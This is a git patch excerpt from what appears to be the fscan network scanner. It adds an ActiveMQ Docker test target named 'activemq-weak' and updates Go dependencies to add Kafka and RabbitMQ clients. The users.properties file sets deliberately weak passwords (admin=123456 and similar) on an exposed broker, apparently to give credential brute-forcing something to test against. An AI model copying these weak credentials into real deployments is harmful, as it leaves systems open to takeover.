TestDocker/ActiveMQ/Dockerfile | 11 ++++++++ TestDocker/ActiveMQ/README.txt | 2 ++ TestDocker/ActiveMQ/activemq.xml | 39 ++++++++++++++++++++++++++++ TestDocker/ActiveMQ/users.properties | 4 +++ 4 files changed, 56 insertions(+) create mode 100644 TestDocker/ActiveMQ/Dockerfile create mode 100644 TestDocker/ActiveMQ/README.txt create mode 100644 TestDocker/ActiveMQ/activemq.xml create mode 100644 TestDocker/ActiveMQ/users.properties diff --git a/TestDocker/ActiveMQ/Dockerfile b/TestDocker/ActiveMQ/Dockerfile new file mode 100644 index 0000000..e566fb4 --- /dev/null +++ b/TestDocker/ActiveMQ/Dockerfile @@ -0,0 +1,11 @@ +FROM rmohr/activemq:5.15.9 + +# 复制配置文件 +COPY users.properties /opt/activemq/conf/users.properties +COPY activemq.xml /opt/activemq/conf/activemq.xml + +# 暴露端口 +EXPOSE 61616 61613 + +# 设置启动命令 +CMD ["/opt/activemq/bin/activemq", "console"] \ No newline at end of file diff --git a/TestDocker/ActiveMQ/README.txt b/TestDocker/ActiveMQ/README.txt new file mode 100644 index 0000000..cf3143c --- /dev/null +++ b/TestDocker/ActiveMQ/README.txt @@ -0,0 +1,2 @@ +docker build -t activemq-weak . +docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak \ No newline at end of file diff --git a/TestDocker/ActiveMQ/activemq.xml b/TestDocker/ActiveMQ/activemq.xml new file mode 100644 index 0000000..c797097 --- /dev/null +++ b/TestDocker/ActiveMQ/activemq.xml @@ -0,0 +1,39 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/TestDocker/ActiveMQ/users.properties b/TestDocker/ActiveMQ/users.properties new file mode 100644 index 0000000..3d4b836 --- /dev/null +++ b/TestDocker/ActiveMQ/users.properties @@ -0,0 +1,4 @@ +admin=123456 +test=test123 +root=root123 +system=admin123 \ No newline at end of file From dfe74fc5b404c4e83a8f7711e4e2d24ba04212bb Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:02:27 +0800 Subject: [PATCH 125/188] =?UTF-8?q?fix:=20=E6=9A=82=E6=97=B6=E4=BF=AE?= =?UTF-8?q?=E5=A4=8D=E7=BC=96=E8=AF=91=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- go.mod | 36 ++++++++++++++++----- go.sum | 98 +++++++++++++++++++++++++++++++++++++++++++++++++--------- 2 files changed, 112 insertions(+), 22 deletions(-) diff --git a/go.mod b/go.mod index fe76099..d5c7875 100644 --- a/go.mod +++ b/go.mod @@ -1,9 +1,12 @@ module github.com/shadow1ng/fscan -go 1.19 +go 1.22 + +toolchain go1.23.3 require ( github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 + github.com/IBM/sarama v1.43.3 github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.7.0 github.com/go-sql-driver/mysql v1.8.1 @@ -12,13 +15,14 @@ require ( github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed + github.com/rabbitmq/amqp091-go v1.10.0 github.com/satori/go.uuid v1.2.0 github.com/sijms/go-ora/v2 v2.5.29 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 - golang.org/x/crypto v0.3.0 - golang.org/x/net v0.7.0 - golang.org/x/text v0.7.0 + golang.org/x/crypto v0.26.0 + golang.org/x/net v0.28.0 + golang.org/x/text v0.17.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/protobuf v1.28.1 gopkg.in/yaml.v2 v2.4.0 @@ -29,28 +33,44 @@ require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/BurntSushi/toml v0.3.1 // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/eapache/go-resiliency v1.7.0 // indirect + github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect + github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect + github.com/golang/snappy v0.0.4 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect + github.com/hashicorp/go-uuid v1.0.3 // indirect github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect + github.com/jcmturner/aescts/v2 v2.0.0 // indirect + github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect + github.com/jcmturner/gofork v1.7.6 // indirect + github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect + github.com/jcmturner/rpc/v2 v2.0.3 // indirect + github.com/klauspost/compress v1.17.9 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/mattn/go-colorable v0.0.9 // indirect github.com/mattn/go-isatty v0.0.3 // indirect + github.com/pierrec/lz4/v4 v4.1.21 // indirect + github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect + github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect go.uber.org/atomic v1.5.0 // indirect go.uber.org/multierr v1.3.0 // indirect go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee // indirect go.uber.org/zap v1.14.0 // indirect golang.org/x/lint v0.0.0-20190930215403-16217165b5de // indirect - golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect - golang.org/x/sys v0.5.0 // indirect - golang.org/x/tools v0.1.12 // indirect + golang.org/x/mod v0.18.0 // indirect + golang.org/x/sync v0.8.0 // indirect + golang.org/x/sys v0.23.0 // indirect + golang.org/x/tools v0.22.0 // indirect honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) -replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.5 +replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 replace github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 => github.com/shadow1ng/goWMIExec v0.0.2 diff --git a/go.sum b/go.sum index c5c710c..06280b3 100644 --- a/go.sum +++ b/go.sum @@ -19,6 +19,8 @@ github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2 github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= +github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= @@ -47,8 +49,16 @@ github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDror github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= +github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA= +github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho= +github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 h1:Oy0F4ALJ04o5Qqpdz8XLIpNA3WM/iSIXqxtqo7UGVws= +github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0= +github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= +github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= +github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= @@ -82,6 +92,8 @@ github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5y github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= +github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= @@ -90,7 +102,8 @@ github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpD github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= +github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= +github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= @@ -101,6 +114,8 @@ github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5m github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTfDNYAP5EtbQSMYjTSqvj1aXJKQRASWq3bwaP+g= +github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= +github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/goxjs/gl v0.0.0-20210104184919-e3fafc6f8f2a/go.mod h1:dy/f2gjY09hwVfIyATps4G2ai7/hLwLkc5TrPqONuXY= github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywTcjV6wZlOU4GuVFQ8F5328KY3MJ79CY= @@ -122,6 +137,9 @@ github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerX github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= +github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= @@ -137,6 +155,18 @@ github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9u github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8= +github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= +github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo= +github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM= +github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg= +github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo= +github.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o= +github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg= +github.com/jcmturner/gokrb5/v8 v8.4.4 h1:x1Sv4HaTpepFkXbt2IkL29DXRf8sOfZXo8eRKh687T8= +github.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs= +github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY= +github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg= github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= @@ -146,10 +176,13 @@ github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfV github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= +github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= -github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= @@ -183,6 +216,8 @@ github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= +github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= @@ -199,8 +234,14 @@ github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y8 github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= +github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw= +github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o= +github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM= +github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= +github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= @@ -208,8 +249,8 @@ github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdh github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shadow1ng/goWMIExec v0.0.2 h1:tZdno/F0JVwwpX34fidRqnT7lvobUgelyb/wWd7YgcM= github.com/shadow1ng/goWMIExec v0.0.2/go.mod h1:SWfWb5+XTfacyp4OULdNsxOdsQTjFEpAUEn5JGTCMIA= -github.com/shadow1ng/grdp v1.0.5 h1:GsfDACbgvPSrVTJ3KcxQe+Fb03aCfWECSBmW9PhCg8s= -github.com/shadow1ng/grdp v1.0.5/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= +github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= +github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk= github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= @@ -234,24 +275,33 @@ github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ai github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0 h1:OI5t8sDa1Or+q8AeE+yKeB/SDYioSHAgcVljj9JIETY= go.uber.org/atomic v1.5.0/go.mod 